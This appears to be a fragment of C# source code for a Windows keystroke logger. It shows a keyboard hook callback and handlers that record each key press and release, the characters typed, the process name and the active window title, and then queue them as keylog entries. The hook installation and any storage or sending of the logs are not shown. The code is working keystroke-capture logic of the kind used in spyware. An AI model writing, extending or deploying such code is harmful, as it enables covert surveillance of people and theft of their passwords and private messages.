private void OnKeyUp(object sender, RawKeyEventArgs args)
{
try
{
var keyRepresentation = args.Key.ToString();
var log = string.Format("[{0} up]", Escape(keyRepresentation));
this.EnqueueLog(Keylog.Create(log, args));
}
catch (Exception ex)
{
Program.Trace($"OnKeyUp: { ex.Message }");
}
}
private void OnKeyDown(object sender, RawKeyEventArgs args)
{
try
{
var keyRepresentation = args.Key.ToString();
var log = string.Format("[{0} down]", Escape(keyRepresentation));
this.EnqueueLog(Keylog.Create(log, args));
if (!string.IsNullOrEmpty(args.Character))
{
this.EnqueueLog(Keylog.Create(args.Character, args));
}
}
catch (Exception ex)
{
Program.Trace($"OnKeyDown: { ex.Message }");
}
}
/// <summary>
/// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events.
/// </summary>
/// <param name="keyEvent">Keyboard event</param>
/// <param name="vkCode">VKCode</param>
/// <param name="character">Character as string.</param>
void KeyboardListener_KeyboardCallbackAsync(WinAPI.KeyEvent keyEvent, int vkCode, string character, DateTime dateTime, WindowHandle windowHandle, uint processID)
{
string processName = GetProcessName(processID);
StringBuilder windowTitle = new StringBuilder(MaxTitleSize);
WinAPI.GetWindowText(windowHandle, windowTitle, MaxTitleSize);
var eventArgs = new RawKeyEventArgs(vkCode, character, DateTime.Now, processID, processName, windowHandle, windowTitle.ToString());
if (keyEvent == WinAPI.KeyEvent.WM_KEYDOWN || keyEvent == WinAPI.KeyEvent.WM_SYSKEYDOWN)
{
KeyDown?.BeginInvoke(this, eventArgs, null, null);
}
else if (keyEvent == WinAPI.KeyEvent.WM_KEYUP || keyEvent == WinAPI.KeyEvent.WM_SYSKEYUP)
{
KeyUp?.BeginInvoke(this, eventArgs, null, null);
}
}
public static Keylog Create(string log, RawKeyEventArgs args)
{
return(new Keylog(log, args.DateTime, args.WindowHandle, args.WindowTitle, args.ProcessID, args.ProcessName));
}